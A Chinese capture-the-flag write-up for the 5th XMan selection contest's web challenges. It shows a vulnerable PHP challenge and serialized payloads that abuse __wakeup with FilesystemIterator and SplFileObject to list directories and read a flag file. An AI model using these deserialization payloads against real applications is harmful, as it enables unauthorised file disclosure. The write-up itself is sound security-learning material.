[WP]第五届XMan选拔赛web

第五届XMan选拔赛

本次比赛一共三道web,一道签到题就不用说了,另外两道貌似也都不是很难的题,但是确实水个人平太菜,没都做出来,还是逐步积累经验吧

easyphp

<?php
error_reporting(0);
highlight_file(__FILE__);

class XMAN{
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
        $this->class = "Hel";
        $this->para = "xctfer";
        echo new  $this->class ($this->para);
    }
    public function __wakeup()
    {
        $this->check = new Filter;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class ($this->para);
        }
        else
            die('what?Really?');
    }

}
class Hel{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("Hello bro, I guess you are a lazy ".$this->a);
    }
}
class Filter{

    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}


if(isset($_GET['xctf'])){
    unserialize($_GET['xctf']);
}
else{
    $a=new XMAN;
}

本题考点,反序列化及拼接调用filesystemiterator和splfileobject类方法;
通过代码审计,对我们有用的代码如下:

<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class;
    public $para;
    public $check;
    public function __wakeup()
    {
        $this->check = new C;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class ($this->para);			//关键,触发点,能够创建指定类对象
        }
    }

}

主要是通过反序列化用wakeup拼接调用任意类方法,达到文件读取的目的;
这里的两个类方法功能:

FilesystemIterator:指定目录的迭代器
SplFileObject:获取指定目录下的所有文件,指定文件时通过返回值可以读取文件内容

构造序列化:

<?php
error_reporting(0);
highlight_file(__FILE__);

class XMAN{
    public $class = 'FilesystemIterator';
    public $para = './';
    public $check;
}
$payload = new XMAN();
echo serialize($payload);
//得到:
//O:4:"XMAN":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:2:"./";s:5:"check";N;}

显示:
[WP]第五届XMan选拔赛web_第1张图片得到文件夹/xxxXXXmMManNNn
继续构造:

<?php
error_reporting(0);
highlight_file(__FILE__);

class XMAN{
    public $class = 'FilesystemIterator';
    public $para = './xxxXXXmMManNNn/';
    public $check;
}
$payload = new XMAN();
echo serialize($payload);
//得到:
//O:4:"XMAN":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:17:"./xxxXXXmMManNNn/";s:5:"check";N;}

显示:
[WP]第五届XMan选拔赛web_第2张图片提醒flag在f1a4.php里:
构造反序列化调用splfileobject类方法读取文件内容:

<?php
error_reporting(0);
highlight_file(__FILE__);

class XMAN{
    public $class = 'SplFileObject';
    public $para = './xxxXXXmMManNNn/f1a4.php';
    public $check;
}
$payload = new XMAN();
echo serialize($payload);
//得到:
//O:4:"XMAN":3:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:25:"./xxxXXXmMManNNn/f1a4.php";s:5:"check";N;}

载入payload后查看源码找到flag
[WP]第五届XMan选拔赛web_第3张图片

easyssti

一道模板注入的题,还没接触过模板注入,官方wp还看不懂,先滚去学了。

你可能感兴趣的:(wp)